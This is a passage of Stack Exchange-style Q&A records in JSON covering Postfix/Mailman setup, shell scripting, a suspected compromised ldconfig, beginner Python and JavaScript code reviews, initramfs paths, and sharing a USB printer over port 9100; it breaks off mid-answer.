{  "id": "_unix.45758"  , "question": "I am writing for some help regarding Postfix configuration. I cannot seem to get Postfix configured properly to transfer mail to the mailing list installed on the same server. I followed many steps over the last few days, and the last one I followed is at http://www.postfix.org/VIRTUAL_README.html under the section Mailing Lists.Can someone please look at this and let me know what I am missing?Basically, Postfix has been configured for base email to be sent to xxx@mail-test.company.org and I would like the mail list to use xxx@listtest.company.org.**DYN-DNS** listtest.company.org        A   216.111.222.85   listtest.company.org        MX  216.111.222.85   listtest.company.org        TXT     v=spf1 a ptr mx ip4:216.111.222.85 mx:mail-test.company.org -allmail-test.company.org       A   216.111.222.85   mail-test.company.org       MX  216.111.222.85   mail-test.company.org       TXT     v=spf1 a ptr mx ip4:216.111.222.85 mx:mail-test.company.org -all**main.cf**myhostname = mail-test.company.orgmydomain = company.orgmyorigin = $hostnamealias_maps = hash:/etc/aliases, hash:/etc/mailman/aliasesalias_database = hash:/etc/aliases, hash:/etc/mailman/aliases recipient_delimiter = +virtual_alias_maps = hash:/etc/postfix/virtual mydestination = $myhostname, listtest.$mydomain/etc/postfix/virtual:    listname-request@listtest.company.org   listname-request    listname@listtest.company.org               listname    owner-listname@listtest.company.org     owner-listname/etc/aliases:    listname: /usr/lib/mailman/mail/mailman post mailman    owner-listname: ...    listname-request: ...**mm_cfg.py**DEFAULT_URL_HOST   = 'listtest.company.org'DEFAULT_EMAIL_HOST = 'listtest.company.org'add_virtualhost(DEFAULT_URL_HOST, DEFAULT_EMAIL_HOST)MTA = 'Postfix'The first part of the log shows the rejection of listtest.company.org -- whereas the second part shows successful transfer to mail-test.company.org/var/log/maillogAug 17 15:46:50 listserv postfix/smtpd[19870]: NOQUEUE: reject: RCPT fromMail1.company.org[66.173.196.101]: 554 5.7.1 <XXXX@listtest.company.org>: Relay access denied; from=<user@company1.ORG> to=<list@listtest.company.org> proto=SMTP helo=<MAIL1.company.ORG>Aug 17 15:46:50 listserv postfix/cleanup[19877]: D3F93209F1: message-id=<050C37C3BC21CC4483AC395BAFEC94E506116BF5@mail1.informs.org>Aug 17 15:46:50 listserv postfix/smtpd[19870]: disconnect from Mail1.company.org[66.173.196.101]Aug 17 15:46:50 listserv postfix/qmgr[19197]: D3F93209F1: from=<user2@company.ORG>, size=6670, nrcpt=1 (queue active)Aug 17 15:46:50 listserv postfix/cleanup[19877]: F37B120A3B: message-id=<050C37C3BC21CC4483AC395BAFEC94E506116BF5@mail1.informs.org>Aug 17 15:46:51 listserv postfix/qmgr[19197]: F37B120A3B: from=<user2@company.ORG>, size=6819, nrcpt=1 (queue active)Aug 17 15:46:51 listserv postfix/local[19878]: D3F93209F1:to=<company_it@mail-test.company.org>, relay=local, delay=0.18,delays=0.17/0.01/0/0, dsn=2.0.0, status=sent (forwarded as F37B120A3B)Aug 17 15:46:51 app02-listserv postfix/qmgr[19197]: D3F93209F1: removedAny help would be greatly appreciated."  , "title": "Mailman / Postfix Configuration Assistance"  , "tags": "rhel;alias;postfix;mailman"  } 
{  "id": "_unix.156784"  , "question": "I am trying to teach myself to write Shell Scripts on my Raspberry Pi, but I am struggling to make a menu where a user can choose from these different options:display a list of current usersdisplay a list of all files including hidden files in the home directoryoutput a calendar for the current monthquit the script.I am aware that some kind of loop is also needed, any suggestions guys?"  , "title": "New to linux, learning shell scripts"  , "tags": "linux"  , "accepted_answer": "There is an excellent tool for managing dialogs named dialog ;). I don't know is it installed on your raspberry but it can be surely compiled for.Here is an article about it's features with examples:http://www.linuxjournal.com/article/2807"  } 
{  "id": "_unix.263783"  , "question": "when I installed the updates on my computer (Ubuntu 14.04), I typed the password, thinking that it was asked for regular updating , but when I noticed some strange behavior and crash at this moment, I suspected the malicious activity. I checked if there were some modified filesfind /sbin -mtime -1and it showed me :/sbin/sbin/ldconfig.real/sbin/ldconfigI checked then for rootkits with : chkrootkit | grep INFECTEDand it showed nothingNevertheless I worry about ldconfig ldconfig.real files, and so I'm looking for the methods to update them in such a way that last changes (possible malicious activity)  will be deleted . when I try to reinstall ldconfig , I have this error while removing with apt-getE: Unable to locate package ldconfig"  , "title": "how to fix potentially infected binary files?"  , "tags": "ubuntu;security;software installation;binary"  , "accepted_answer": "Both files come from libc-bin$ dpkg -S /sbin/ldconfig{,.real}libc-bin: /sbin/ldconfiglibc-bin: /sbin/ldconfig.realSo you could reinstall with:sudo apt install --reinstall libc-binBut if something that fundamental as libc is really infected, you're not going to be able to remove it from a live system. It could trivially monkey-patch anything linking to it to just reinfect your computer. You could probably chroot-mount it from a LiveCD and reinstall everything... Or just reinstall from scratch and copy your (checked and sanitised) data over.But are you really infected in the first place? I don't know why you think you are. There have been libc patches recently (they are usually fairly frequent IME) so I'm not sure what you're seeing is anything but standard stuff.I really think you're unnecessarily bridging what is more likely to be a bad update, random bug, a service that reloaded onto a new version of libc, etc into a disaster scenario. Especially when we're talking about some warnings without knowing what they were. Warnings happen all the time.You only have a few options:Audit the files from a safe environment (ie a Live CD/USB). If yours claim to be the same version as the originals but their md5sum (or sha256sum, however paranoid you want to be) differ, you have a problem.Assume disaster and reinstall.Take the blue pill, the story ends, you wake up in your bed and believe whatever you want to believe. Ignorance is bliss, right?"  } 
{  "id": "_codereview.74550"  , "question": "I have just started using Python, and I am attempting to make a prime number sequence generator, where it will print the a specified amount prime numbers in terminal.  I have other versions of this also, and versions for the Fibonacci sequence, although, I will post just the version for prime numbers I specified above.    P = 2    Count = 1    X = int(raw_input('choose number: '))    def Main(P, X):        while Count <= X:            isprime = True            for x in range(2, P - 1):                if P % x == 0:                     isprime = False            if isprime:                print P                Count += 1            P += 1I am currently trying to optimize this code so that it runs as fast as possible, and then making small edits.  I did this by putting a get daytime now function at the beginning and the end of the sequence generator, and printing the time, then looping it all a specified amount of times.from datetime import datetime as dtP = 2Count = 1Count2 = 1X = int(raw_input('choose number: '))def Main(P, Count, X):    t1 = dt.now()    while Count <= X:        isprime = True        for x in range(2, P - 1):            if P % x == 0:                 isprime = False        if isprime:            Count += 1        P += 1    t2 = dt.now()    print ((t2-t1).microseconds)while Count2 <= 20:    Main(P, Count, X)    Count2 += 1As far as my knowledge of Python extends, I have optimized this code so it runs quite efficiently.  However, I want to know if anyone can help make this code any better, however, it needs to stay within one function (two if necessary), and it does the same type of thing.  Also, if it is possible to explain why it does better, that would be appreciated.  However, any comment or feedback would be nice."  , "title": "Prime Number Sequence generator"  , "tags": "python;beginner;primes"  , "accepted_answer": "A logical optimization here would be to remember the primes you have already calculated. Consider the theory:A prime is a number that is divisible by itself and 1 onlyIt follows that, to test if any number X is prime, you only need to find 1 prime number less than X which divides in to X without a remainder. There is no need to test non-prime numbers, because if a non-prime divides cleanly in to X, then the prime factors would also divide in to X.So, if you keep a record of the previously calculated primes, then you only need to scan those values to see if they divide in to X. In essence, each time you print a prime, also add it to a list.This will require 'seeding' the prime list with the value 2.A second optimization is that a number X is only prime if it has a factor. A factor is a number, multiplied by another number, that is equal to the original value X.The useful theory here, is that, as the value of the first factor increases, the value of the second factor decreases. There is a point when the first and second factors 'cross over' and the second factor becomes less than the first.The cross-over point is the square-root of the number X. When you pass the square-root of the number, you have tested all the possible factors... there's no need to scan values larger than the root, because, if they were factors, you would have found them already by identifying the small factor that matches the larger factor.Putting these two items together, you should modify your code to:Have a special case for 2, which is prime, and store it in the seed array.preserve the prime numbers you find in the same array.for values larger than 2, you only need to use values from the pre-identified prime array to test for factorsyou only need to look for prime factors that are less than, or equal to the square-root of the value."  } 
{  "id": "_softwareengineering.117825"  , "question": "In my team, people have tendency to develop a POC (which is very close to actual deliverable in terms of features) which takes good amount of time to be created. And then spend a significant time to refactor the POC so that it matches the design principles using all required design patterns, sometimes naming etc... One advantage everyone in team says is you have the confidence to meet deadlines one so called POC is ready, then you can spend time on design.Just curious about, is it really good to refactor code after developing it in quick mode or we should spend time initially to work on architecture and design of the code?EDIT:After reading the answers I realized that, as most of guys said, what I am talking of is more than POC and as rightly put by Carl is an evolutionary prototype. This is definitely not a throwaway code. Intention of the output is always to go to production."  , "title": "Is it ok to write a quick software programme and then refactor it?"  , "tags": "refactoring;methodology"  } 
{  "id": "_unix.213193"  , "question": "I'm working in an embedded Linux system trying to get it booting its root file system in ram using initramfs. The system comes up for the most part but then has trouble in the init scripts. I've narrowed the problem down to the following.The system cannot recognize any relative paths. Let me explain more...Not only are symlinks that point to files in relative locations broken, but simply running a simple command like such doesn't work:$ pwd/etc/network$ cat ../inittabcat: can't open '../inittab': No such file or directoryBut this works fine:$ cat /etc/inittab<inittab output ...>Any idea what could be going on?UPDATE1A standard ls .. command appears to function as expected. Also, the inode references look ok I believe?   $ ls ..    default/                inputrc                 moduli                  random-seed             ssh_config              sshd_config    dhcp/                   issue                   mtab@                   resolv.conf@            ssh_host_dsa_key        ssl/    fstab                   ld.so.conf              network/                rsyslog.conf            ssh_host_dsa_key.pub    sysconfig/    fstab.bak               ld.so.conf.d/           nsswitch.conf           rsyslog.d/              ssh_host_ecdsa_key      ts.conf    group                   logrotate.conf          os-release              screenrc*               ssh_host_ecdsa_key.pub  udev/    hostname                logrotate.d/            passwd                  securetty               ssh_host_key    hosts                   ltrace.conf             passwd-                 services                ssh_host_key.pub    init.d/                 memstat.conf            profile                 shadow                  ssh_host_rsa_key    inittab                 mke2fs.conf             protocols               shadow-                 ssh_host_rsa_key.pub    $ cd / ; ls -lid /etc       1547 drwxr-xr-x   12 root     root             0 Jan  1 00:49 /etc/    $ cd /etc ; ls -lid .       1547 drwxr-xr-x   12 root     root             0 Jan  1 00:49 ./    $ cd /etc/network ; ls -lid ..       1547 drwxr-xr-x   12 root     root             0 Jan  1 00:49 ../With even more digging, I've discovered that relative paths work AS LONG AS you do not cross the boundry of the root of the file system:$ cd usr/$ ls ../etcls: ../etc: No such file or directory$ cd ../etc$ cd network/$ ls ..default/                inputrc                 moduli                  random-seed             ssh_config              sshd_configdhcp/                   issue                   mtab@                   resolv.conf@            ssh_host_dsa_key        ssl/fstab                   ld.so.conf              network/                rsyslog.conf            ssh_host_dsa_key.pub    sysconfig/fstab.bak               ld.so.conf.d/           nsswitch.conf           rsyslog.d/              ssh_host_ecdsa_key      ts.confgroup                   logrotate.conf          os-release              screenrc*               ssh_host_ecdsa_key.pub  udev/hostname                logrotate.d/            passwd                  securetty               ssh_host_keyhosts                   ltrace.conf             passwd-                 services                ssh_host_key.pubinit.d/                 memstat.conf            profile                 shadow                  ssh_host_rsa_keyinittab                 mke2fs.conf             protocols               shadow-                 ssh_host_rsa_key.pub$ ls ../../usrls: ../../usr: No such file or directoryThis leads me to believe that I have not properly mounted the root filesystem. Perhaps this output is the most telling of that?$ dfFilesystem                Size      Used Available Use% Mounted ondevtmpfs                204.2M         0    204.2M   0% /devtmpfs                   251.7M         0    251.7M   0% /dev/shmtmpfs                   251.7M     76.0K    251.6M   0% /tmpUPDATE2After additional searching, I believe the following best describes my scenario:2) The newer initial ramfs image, initramfs. Here one populates a  directory, and then creates a compressed cpio archive which is  expanded into ramfs upon boot and becomes the root filesystem. The  kernel must be configured with CONFIG_BLK_DEV_INITRD=y but one does  not need to set CONFIG_BLK_DEV_RAM_SIZE, nor does one need to set  CONFIG_TMPFS=y. When the system is up, df does not report the root  filesystem and one cannot interact with it by doing things like mount  --bind / dir. Also the distinction between what RAM is set aside for the filesystem and what RAM is used for processes is blurred. df  reports nothing and free reports total usage without distinction,  ie. used RAM = RAM used for files (as reported by du) plus RAM used  for processes.However, I am a bit surprised by this. Does this imply I will not be able to interact around the root of the file system when using initramfs?UPDATE3This post indicates that what I am trying to accomplish is not unreasonable:Now normally an initramfs is temporary, only used to run some programs  extremely early in the boot process. After those programs run, control  is turned over to the real filesystem running on a physical disk.  However you do not have to do that. There is nothing stopping you from  running out of the initramfs indefinitelyHow can I run out of the initramfs indefinitely but yet also be able to traverse across the root of the file system?"  , "title": "Relative path to anything not working (while running from initramfs)"  , "tags": "linux;path;embedded;busybox;initramfs"  } 
{  "id": "_unix.27666"  , "question": "Sometimes you run a program from the terminal, say, lxpanel†. The terminal won't drop you back to the prompt, it'll hang. You can press Ctrl+C to get back to the prompt, but that will kill lxpanel. However, pressing Alt+F2 (which pops up a window to take a command) and running lxpanel works gracefully.Why is this? What is different between running a command from the terminal and from the 'run' window that appears when you press Alt+F2?† lxpanel here was just used as an example. I have experienced this with multiple programs"  , "title": "Why do some commands 'hang' the terminal until they've finished?"  , "tags": "shell;command line;jobs"  , "accepted_answer": "By default the terminal will run the program in the foreground, so you won't end up back at the shell until the program has finished. This is useful for programs that read from stdin and/or write to stdout -- you generally don't want many of them running at once. If you want a program to run in the background, you can start it like this:$ lxpanel &Or if it's already running, you can suspend it with Ctrl+Z and then run bg to move it into the background. Either way you will end up with a new shell prompt, but the program is still running and its output will appear in the terminal (so it can suddenly show up while you're in the middle of typing)Some programs (typically daemons) will fork a separate process when they start, and then let the main process immediately exit. This lets the program keep running without blocking your shell"  } 
{  "id": "_unix.345511"  , "question": "I am using the :vim COMPANY_ID ~/Projects/creditdutile/loanrabbit/* | cw command to look for the word COMPANY_ID in the loanrabbit directory. However, that command look for just for file I guess, not in subdirectories. How could I make a global research with that command?"  , "title": "Search in file, but not into subdirectories"  , "tags": "vim"  , "accepted_answer": "I assume you're invoking that command from inside Vim.  You can use ** to search a directory tree.  i.e.:vimgrep COMPANY_ID ~/Projects/creditdutile/loanrabbit/** | cwSee :h starstar-wildcard for the full documentation on **.  Also note that you can use ** as part of a path.  For example I often search some templates with::vimgrep h1 temp**/*.htmland it matches both templates/foo.html and temp/extra/templates/bar.htmlShameless marketing: we have a Vi & Vim stack exchange community"  } 
{  "id": "_codereview.63130"  , "question": "Just as a learning exercise, I set out making a stopwatch without looking up how to do it etc.I know it will have been done many times before.  I'm just looking for some feedback on what I should do to make the code more efficient / cleaner / in keeping with standards etc.This is the result// declare varsvar secondsDiv = $(#seconds);var minsDiv = $(#mins);var hoursDiv = $(#hours);var interval = null;var timer = false;// return the value of a given divfunction getCurrentValue(value) {  return value.html();}// reset the value of a chosen div to 00function resetValue(value){  value.html(00);}// check if values are more than 59 to progress the timerfunction check59() {  var currentSec = getCurrentValue(secondsDiv);  var currentMins = getCurrentValue(minsDiv);  var currentHours = getCurrentValue(hoursDiv);  // check the seconds to become a minute  if (currentSec > 59) {    currentMins++;    if (currentMins < 10) {      minsDiv.html(0 + currentMins);    } else {      minsDiv.html(currentMins);    }    resetValue(secondsDiv);  }  // check the minutes to become an hour  if (currentMins > 59) {    currentHours++;    if (currentHours < 10) {      hoursDiv.html(0 + currentHours);    } else {      hoursDiv.html(currentHours);    }    resetValue(minsDiv);  }}// add secondsfunction addSecond() {  var currentSec = getCurrentValue(secondsDiv);  currentSec++;  if (currentSec < 10) {    secondsDiv.html(0 + currentSec);  } else {    secondsDiv.html(currentSec);  }  check59();}  // run the initial addSecond function every second$(#startTimer).click(function(){  if (timer===false) {    timer = true;    interval = setInterval(addSecond, 1000);  }});// stop the addSecond function every second$(#pauseTimer).click(function(){  clearInterval(interval);  timer = false;});// reset all values$(#clearTimer).click(function(){  resetValue(secondsDiv);  resetValue(minsDiv);  resetValue(hoursDiv);});"  , "title": "JavaScript / jQuery stopwatch"  , "tags": "javascript;jquery;timer"  } 
{  "id": "_unix.8766"  , "question": "I'm using rsync and the flags -nPaAXz ~/ to check which files are going to be copied.This is far too verbose to make any sense of.How could I filter the output so I view the list of files/folders that are going to be copied to a certain depth, eg:1 folder deep/home/afile/home/afolder//home/anotherfolder/2 folders deep/home/afile/home/afolder/afile/home/afolder/anotherfile/home/afolder/afolder//home/anotherfolder/afile"  , "title": "Filtering paths to a specific depth"  , "tags": "grep;sed;rsync;regular expression"  , "accepted_answer": "This command takes each path and truncates it to n folders deep (defined in the \\{0,n\\} section of the sed command and the {0,n} section of the grep command). It's then piped into uniq to filter out the duplicates.rsync -nPaAXz src_dir dst_dir | sed -n 's@^\\(\\([^/][^/]*/\\)\\{0,2\\}\\).*@\\1@p' | uniqThe same thing can also be achieved using grep:rsync -nPaAXz src_dir dst_dir | grep -oE ^([^/]+/){0,2}Although the above wont work with GNU grep versions < 2.5.3 due to a bug."  } 
{  "id": "_webapps.48266"  , "question": "I'm trying to find a way of getting the location of friends of friends (town/city and country) and plot them on a map.I can easily search for Friends of my friends but is there a way of exporting the results to CSV, json, or some other easily parsed format?"  , "title": "Is it possible to export data from Facebook's graph search?"  , "tags": "facebook;facebook graph search"  } 
{  "id": "_unix.289814"  , "question": "I am using a simple for loop to process certain input files and get the output in one file. What I am using is for k in ../some_directory/*.txt;     do command (containing -i $k -o outputfile.txt); doneNow each loop gives an output. I want the output to be written in one file. This loop just replaces all the previous files and gives me a number of outputfile.txt files each with the output from every loop. How can I append the command to one file? I don't want the screen output but the output from each of the command.NOTE: I am not talking about this or this "  , "title": "Appending output of command in for loop"  , "tags": "shell script;files"  , "accepted_answer": "Just thought of a simpler solution. I just needed to give the same file name as output as the input. That solved my problem as all the changes get appended and the old output file gets backed up.Thanks"  } 
{  "id": "_softwareengineering.209691"  , "question": "I got surprised when I visited some sites with an 'aspx' extension at the end of their URLs and when I looked at their html source I didn't see any view state like the follwing:<input type=hidden name=__VIEWSTATE id=__VIEWSTATE value=SNIKalxBOk0/lp+SgXklgi/0/IUoRXTjEjp6NrL2ColFXGht1bTDit5V+wHdkcuM3YVmVNKG1jpM6zAg+MQCnvPDvlEvK8RNwHblq8NN1Ys= />How did they prevent this to happen? even if you turn the view state off you'll get at least of of the above input in your HTML output. Here is one of the examples that I looked at: http://www.ada.org/index.aspx"  , "title": "ASP.NET without viewstate input, How comes?"  , "tags": "asp.net"  , "accepted_answer": "The site, or at least the pages I clicked on, are almost certainly not using WebForms. One of the key give-aways is the complete lack of a single top-level form such as:<body>   <form method=post action=/>That combined with the lack of __VIEWSTATE and __EVENTTARGET and __EVENTARGUMENT hidden inputs  seems fairly conclusive. However looking at the HTML for the site the following jumps out at me:<span id=ADASlideShow1_rptSlideshow_ctl03_lblVideoType style=display: none;>None</span>The id is typical webforms output so this would suggest that either:They have ported an ASP.NET WebForms site over to some other technology (possibly just plain HTML contained in a .aspx file - as the previous poster mentioned the functionality seems to be done using Flash and jQuery) and retained the HTML structure and ids in order to keep the CSS and Javascript in working condition.Or they are using ASP.NET WebForm controls but with all ViewState and control interactions turned off - however I'm fairly sure that without the top level form tag webform controls just won't work at all (however it's been a while since I did any webforms work so I could be proved wrong)."  } 
{  "id": "_unix.244799"  , "question": "Some flac files apparently have a cuesheet metadata block. I know how to split flacs files with shnsplit when I have a separate cuesheet at hand (cf. How do I split a flac with a cue?), but how do I split a flac when the cuesheet is stored inside a metadata block of the flac file?Command-line preferred."  , "title": "Splitting a flac from a cuesheet metadata block"  , "tags": "command line;audio;flac"  , "accepted_answer": "By exporting the cue-sheet to a file first.  For example, metaflac has an --export-cuesheet-to=FILE option.From man metaflac:Export CUESHEET block to a cuesheet file, suitable for use by CD   authoring  software.   Use '-' for stdout.  Only one FLAC file may be  specified on the command line.For example:f='file.flac'bn=$(basename $f .flac)cue=$bn.cue[ ! -e $cue ] && metaflac --export-cuesheet-to=$cue $fshnsplit -f $cue -t '%n-%t' -o flac $f"  } 
{  "id": "_unix.23263"  , "question": "I have attached a new LCD to my embedded Linux device and when I run the system I found that it is shifted to the right. (the display starts from the middle of the LCD)I found 2 frame buffer drivers under Linux kernel driver and modify in following areas:#ifdef CONFIG_TOPPOLY_TD035TTEA3_320X240        hsync_len   :  64,         vsync_len    :  6,        left_margin :  125,         upper_margin :  70,        right_margin:  115,          lower_margin :  36,        sync:        0,                cmap_static:    0,        #endifBut the problem is still there. What should I do?"  , "title": "Embedded linux LCD not calibrated"  , "tags": "drivers;embedded;arm;display settings;framebuffer"  } 
{  "id": "_softwareengineering.71264"  , "question": "Software development techniques exist to solve problems. I think a key problem we face is conquering complexity. Also, software developers must often classify and understand complex systems, separating accidental complexity from essential complexity.   I believe that sufficiently useful definitions of these terms all exist on Wikipedia.My question is: What techniques are most valuable in conquering complexity, as a professional software developer, and/or software architect?Answer examplar; a blog post on conquering complexity that seems to be coming at things from a java/c++/OOP centric perspective."  , "title": "Conquering Complexity: Valuable techniques"  , "tags": "architecture;complexity"  , "accepted_answer": "YAGNI. The best way to avoid accidental complexity is to stop making stuff more generic and flexible than they have to be. For instance, don't start looking for frameworks and libraries until you actually know that you need them. Instead of solving todays problems, we spend time thinking up potential problems that might arise in the future. Don't do that. Focus on today."  } 
{  "id": "_unix.123674"  , "question": "Can I see images and watch movies inside the terminal emulator? In case of virtual console I can do it via framebuffer, but what about terminal emulators?"  , "title": "Can I see images and watch movies inside the terminal emulator"  , "tags": "video;images;terminal emulator"  } 
{  "id": "_codereview.104966"  , "question": "I'm trying to parse an object generated from an Excel file. The output lists each cell with its contents. If the cell is just a number then it remains a number but if the cell contains a formula (has attribute f) I want to make that a getter so whenever that cell is called the result is updated in case the other cells change.var Sheet = function Sheet(obj) {    var i;    for (i in obj){        if (obj[i].f !== undefined){            this['_'+i] = obj[i].f;        } else {            this[i] = obj[i].v;        }           }}var SheetConstructor = function(obj){    var new_sheet = new Sheet(obj);    var getters = Object.keys(new_sheet).filter(        function(attr){             if (attr.charAt(0) === '_'){                 return attr            }        });    for (g in getters){        Object.defineProperty(new_sheet, getters[g].substring(1), {             get: function(){                return eval(new_sheet[getters[g]]);            }         });    }    return new_sheet;}Input object:{   B2: { t: 'n', v: 20, w: '20' },  C2: { t: 'n', v: 115, w: '115' },  B3: { t: 'n', v: 400, f: 'this.B2*20', w: '400' },  C3: { t: 'n', v: 600, w: '600' },  B5: { t: 'n', v: 20, w: '20' },  D6: { t: 'n', v: 22, w: '22' },  D7: { t: 'n', v: 36, w: '36' },  B8:   { t: 'n',     v: 26.666666666666668,     f: 'this.B2 * this.C2',     w: '26.66666667' },  D8: { t: 'n', v: 153, f: 'this.B5 + this.D6 + this.D7', w: '153' }}I know the security implications of eval() and am not worried about them in this case. This setup currently works but eventually I will have references across multiple sheets so I wanted some feedback on my solution. "  , "title": "Getters, constructors and eval"  , "tags": "javascript;excel"  } 
{  "id": "_unix.324389"  , "question": "My Shell script include series of steps for example first stepApp=  read -p ### Please enter Application name  Env = read -p ### Enter Enviornment name (Dev,test)second stepcd /opt/Weblogic/mkdir $Appmkdir $EnvThird Step cp /tmp/weblogic/* /opt/weblogic/$App/$Env/*So my question is how can I record what user is entering each time? Is there a way I can store the user the whole input and output to something call temp.txt? This way I can review to find out which user has enterred which input.I hope my question is clear."  , "title": "How can I record Shell script outputs to log file"  , "tags": "shell script;shell"  } 
{  "id": "_unix.222868"  , "question": "I have a directory with a very large number of subdirectories (~800) that were generated programmatically. I want to get a count of the number of files in each of these subdirectories to check for anomalies (if the code broke on a run then some of the files will be missing). What's a quick way to do this? The sort of output I'm looking for is:  Name_of_Folder_1 [# of files in Folder 1]   Name_of_Folder_2 [# of files in Folder 2]..."  , "title": "Get number of files in each directory"  , "tags": "shell script;ls"  , "accepted_answer": "Assuming that you have no spaces in your directory names:for dir in $(find . -type d); do    echo ${dir}: $(find ${dir} -maxdepth 1 -type f | wc -l)done"  } 
{  "id": "_codereview.2988"  , "question": "I've been playing around with Python off and on for about the past year and recently came up with the following 68 (was 62) lines. I think I'll try making a calculator out of it. I'd really like to know what readers here think of its attributes such as coding style, readability, and feasible purposefulness.# notes: separate addresses from data lest the loop of doom comethclass Interpreter:  def __init__(self):    self.memory = { }    self.dictionary = {mov : self.mov,                       put : self.put,                       add : self.add,                       sub : self.sub,                       clr : self.clr,                       cpy : self.cpy,                       ref : self.ref }    self.hooks = {self.val(0) : self.out }  def interpret(self, line):    x = line.split( )    vals = tuple(self.val(y) for y in x[1:])    dereferenced = []    keys_only = tuple(key for key in self.memory)    for val in vals:      while val in self.memory: val = self.memory[val]      dereferenced.append(val)    vals = tuple(y for y in dereferenced)    self.dictionary[x[0]](vals)  def val(self, x):    return tuple(int(y) for y in str(x).split(.))  def mov(self, value):    self.ptr = value[0]  def put(self, value):    self.memory[self.ptr] = value[0]  def clr(self, value):    if self.ptr in self.hooks and self.ptr in self.memory:      x = self.hooks[self.ptr]      y = self.memory[self.ptr]      for z in y: x(z)    del self.memory[self.ptr]  def add(self, values):    self.put(self.mat(values, lambda x, y: x + y))  def sub(self, values):    self.put(self.mat(values, lambda x, y: x - y))  def mat(self, values, op):    a, b = self.memory[values[0]], self.memory[values[1]]    if len(a) > len(b): a, b = b, a    c = [op(a[x], b[x]) for x in xrange(len(b))] + [x for x in a[len(a):]]    return [tuple(x for x in c)]  def cpy(self, value):    self.put(value)  def out(self, x):    print chr(x),  def ref(self, x):    self.put(x)interp = Interpreter()for x in file(__file__.split('/')[-1].split(.)[-2] + .why):  interp.interpret(x.strip())"  , "title": "Simple Language Interpreter"  , "tags": "python;interpreter"  , "accepted_answer": "To allow your module to be loadable by other files, it's customary to write the end of it with a if __name__ == '__main__': conditional like so:if __name__ == '__main__':    interp = Interpreter()    for x in file(__file__.split('/')[-1].split(.)[-2] + .why):        interp.interpret(x.strip())Maybe I'm being picky (but you did ask for style input), read PEP8 and try to follow it as best you can (stand).  One thing that jumped out at me right away was your 2 space indentation vs. the PEP8 recommendation of 4.  One letter variables are usually only recommended for looping vars. You could probably increase the readability of your code by renaming some of those x's, y's, a's, etc.Another maxim of Python programming is to use the tools provided, I was pondering what you were doing with:__file__.split('/')[-1].split(.)[-2] + .whyan alternative that uses existing Python modules (and is more portable across platforms) is:os.path.splitext(os.path.basename(__file__))[0] + .whyIt's about the same length, and is a good deal more clear as to what you're doing as the function names spell it out."  } 
{  "id": "_webapps.59770"  , "question": "I am trying to create a Google Document that has complex questions we ask clients.  I want to add a link at the end of each question that will launch a pop-up for additional information.I currently have a .gs file that houses the script below:function showDialog() {  var html = HtmlService.createHtmlOutputFromFile('Help File.html')      .setWidth(400)      .setHeight(300);  DocumentApp.getUi() // Or DocumentApp or FormApp.      .showModalDialog(html, <b>Hello World!</b> );  }I also have a .html file with the following code:< div>Hello, world! < input type=button value=Close onclick=google.script.host.close() />< /div>}Is there a way to embed this into a link on the Google Doc?  Currently, I am able to click Run from the Google Apps Script to make the pop-up window work."  , "title": "Create help pop-up in Google Document using Google Apps Script"  , "tags": "google apps script;google documents"  } 
{  "id": "_webapps.369"  , "question": "If I search Google from different countries (e.c. google.de, google.co.uk, google.fr, etc.), will they all bring exactly the same search results? Will the order be different?"  , "title": "Google search from global sites"  , "tags": "google search;geolocation"  , "accepted_answer": "No. It gives priority to local results.For example if you look for apple in google.it, as first result, it gives:Apple  Apple progetta e crea iPod e iTunes, computer Mac desktop e portatili, il sistema operativo >OS X ei rivoluzionari iPhone e iPad.  www.apple.com/it/ "  } 
{  "id": "_unix.139583"  , "question": "I have a Linux machine set up to forward IPv4 packets. I'm looking to do this:if packet matches both source and destination, forward to GW X.How do I specify the source field? Do I need to use iptables?"  , "title": "ip route match multiple fields"  , "tags": "linux;routing"  } 
{  "id": "_vi.8425"  , "question": "I am new to Vim and I am trying to remap the four (arrow) navigation keys hjkl one step to the right on the keyboard to getj downk up l left; rightI am following the recommendations given in this answer[1], andI am using a norwegian keyboard where the ; key is replaced by an  key.In my ~/.vimrc I have:nnoremap l hnnoremap  lI have installed the repmo plugin, and I suspect that is the cause of the problems I have with this.So the problem is that the l key does not map to h (left); instead, when I press l, the cursor moves to the right.To debug, I tried to print out the actual mappings::map h gives:nx h           & <SNR>9_repmo('h','l')<CR>:map l gives:n  l             <SNR>9_lastkeyx  l             <SNR>9_lastkeyFootnotes:[1] Answer to stackoverflow.com question: Vim users, where do you rest your right hand?"  , "title": "Remapping home row keys hjkl when using repmo plugin"  , "tags": "key bindings"  } 
{  "id": "_scicomp.20684"  , "question": "I am having problems with solving a hyperbolic wave problem with Dirichlet BCs. I have tried reducing the time step sizes, which does not affect the results, and notices increasing the number of nodes makes the results worse. I have concluded the problem is with the boundary or certainly spatial.My code is 1D, and the grid is structured. I have used FVM with central differencing. At the boundaries I have simply set the term at the boundary equal to the Dirichlet condition (for instance: velocity at east face $v_e = A$, where $A$  is the Dirichlet BC).I was wondering if there are any ways using which I could get rid of the oscillations in my results by means of changing the way I am implementing the BC or any other quick fixes. I have also tried upwinding, and did not even obtain convergence. "  , "title": "Dirichlet BCs - alternative implementation methods"  , "tags": "finite difference;boundary conditions;finite volume;discretization;wave propagation"  } 
{  "id": "_unix.203173"  , "question": "Is possible to configure a Linux computer to work as a network printer device ? I have an USB printer that I intend to share in the network like a native network printer device.Is that possible? How?NOTES:'Autonomous' network printers usually communicate with the protocol HP Jetdirect (Also known as Raw).I have a RS/6000 with AIX 5 that finds and works with any kind of 'autonomous' network printer. And I would like to expose through Linux (preferably Debian) an USB printer in the network, like any ordinary network printer (autonomous device) which I could access in AIX.EDIT:I need to do in AIX something like that, where 'my_printer_ip' is the Linux IP:$ netcat my_printer_ip 9100$ Hello remote USB printer plugged in a Linux !$ <Ctrl+D>"  , "title": "Linux as a network printer device (Raw, port 9100)"  , "tags": "networking;aix;cups;printer"  , "accepted_answer": "After some researches and tries...These network printers devices, could implement some protocols, being one of them the one called HP JetDirect, also known as Raw, JetDirect, either just 9100. It seems to be the most common protocol supported by network printers.A network printer configuration sample: The JetDirect protocol is just an ordinary network stream, and not a real protocol, at least in my tests. So, you don't need CUPS neither any kind of printer engine to have a Linux behaving like a network printer, all you need is a 'network stream server' like inetd (or xinetd), to listen to the port 9100 and redirect this stream to the printer stream.Consider a printer stream in the port /dev/lp0, where we could do something like that:$ echo Hi local legacy printer ! >/dev/lp0Now we could redirect the stream coming in the port 9100 to the /dev/lp0, just using the old school inetd:9100 stream tcp nowait cat > /dev/lp0So, in any other remote system (like AIX), we could get the legacy parallel (or USB) printer plugged in a Linux to work like a network printer:$ netcat linux_ip 9100$ Hello remote Parallel 